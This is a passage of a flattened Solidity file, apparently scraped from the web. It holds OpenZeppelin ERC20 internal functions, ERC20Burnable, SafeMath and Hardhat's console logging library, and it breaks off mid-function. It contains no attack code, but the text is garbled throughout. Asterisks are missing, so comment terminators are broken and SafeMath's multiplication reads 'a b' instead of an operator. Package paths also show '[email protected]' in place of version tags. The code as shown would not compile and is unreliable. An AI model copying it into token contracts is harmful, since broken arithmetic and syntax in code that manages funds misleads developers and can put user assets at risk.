/* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /* * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. / function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. / function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /* * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol) pragma solidity ^0.8.0; /* * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). / abstract contract ERC20Burnable is Context, ERC20 { /* * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. / function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /* * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. / function burnFrom(address account, uint256 amount) public virtual { _spendAllowance(account, _msgSender(), amount); _burn(account, amount); } } // File @openzeppelin/contracts/utils/math/[email protected] // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /* * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /* * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /* * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ / function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /* * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ / function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /* * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File hardhat/[email protected] pragma solidity >= 0.4.22 <0.9.0; library console { address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67); function _sendLogPayload(bytes memory payload) private view { uint256 payloadLength = payload.length; address consoleAddress = CONSOLE_ADDRESS; assembly { let payloadStart := add(payload, 32) let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0) } } function log() internal view { _sendLogPayload(abi.encodeWithSignature("log()")); } function logInt(int p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(int)", p0)); } function logUint(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function logString(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function logBool(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function logAddress(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function logBytes(bytes memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes)", p0)); } function logBytes1(bytes1 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0)); } function logBytes2(bytes2 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0)); } function logBytes3(bytes3 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0)); } function logBytes4(bytes4 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0)); } function logBytes5(bytes5 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0)); } function logBytes6(bytes6 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0)); } function logBytes7(bytes7 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0)); } function logBytes8(bytes8 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0)); } function logBytes9(bytes9 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0)); } function logBytes10(bytes10 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0)); } function logBytes11(bytes11 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0)); } function logBytes12(bytes12 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0)); } function logBytes13(bytes13 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0)); } function logBytes14(bytes14 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0)); } function logBytes15(bytes15 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0)); } function logBytes16(bytes16 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0)); } function logBytes17(bytes17 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0)); } function logBytes18(bytes18 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0)); } function logBytes19(bytes19 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0)); } function logBytes20(bytes20 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0)); } function logBytes21(bytes21 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0)); } function logBytes22(bytes22 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0)); } function logBytes23(bytes23 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0)); } function logBytes24(bytes24 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0)); } function logBytes25(bytes25 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0)); } function logBytes26(bytes26 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0)); } function logBytes27(bytes27 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0)); } function logBytes28(bytes28 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0)); } function logBytes29(bytes29 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0)); } function logBytes30(bytes30 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0)); } function logBytes31(bytes31 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0)); } function logBytes32(bytes32 p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0)); } function log(uint p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint)", p0)); } function log(string memory p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(string)", p0)); } function log(bool p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool)", p0)); } function log(address p0) internal view { _sendLogPayload(abi.encodeWithSignature("log(address)", p0)); } function log(uint p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function log(uint p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function log(uint p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function log(uint p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function log(string memory p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function log(string memory p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1)); } function log(string memory p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function log(string memory p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1)); } function log(bool p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function log(bool p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function log(bool p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function log(bool p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function log(address p0, uint p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function log(address p0, string memory p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1)); } function log(address p0, bool p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function log(address p0, address p1) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1)); } function log(uint p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function log(uint p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function log(uint p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function log(uint p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function log(uint p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function log(uint p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function log(uint p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function log(uint p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function log(uint p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function log(uint p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function log(uint p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function log(uint p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function log(uint p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function log(uint p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function log(uint p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function log(uint p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function log(string memory p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function log(string memory p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function log(string memory p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function log(string memory p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function log(string memory p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function log(string memory p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function log(string memory p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function log(string memory p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function log(string memory p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function log(string memory p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function log(string memory p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function log(string memory p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function log(string memory p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function log(string memory p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function log(string memory p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function log(string memory p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function log(bool p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function log(bool p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function log(bool p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function log(bool p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function log(bool p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function log(bool p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function log(bool p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function log(bool p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function log(bool p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function log(bool p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function log(bool p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function log(bool p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function log(bool p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function log(bool p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function log(bool p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function log(bool p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function log(address p0, uint p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function log(address p0, uint p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function log(address p0, uint p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function log(address p0, uint p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function log(address p0, string memory p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function log(address p0, string memory p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function log(address p0, string memory p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function log(address p0, string memory p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function log(address p0, bool p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function log(address p0, bool p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function log(address p0, bool p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function log(address p0, bool p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function log(address p0, address p1, uint p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function log(address p0, address p1, string memory p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function log(address p0, address p1, bool p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function log(address p0, address p1, address p2) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function log(uint p0, uint p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function log(uint p0, uint p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function log(uint p0, string memory p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function log(uint p0, bool p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function log(uint p0, bool p1, bool p2, uint p3) 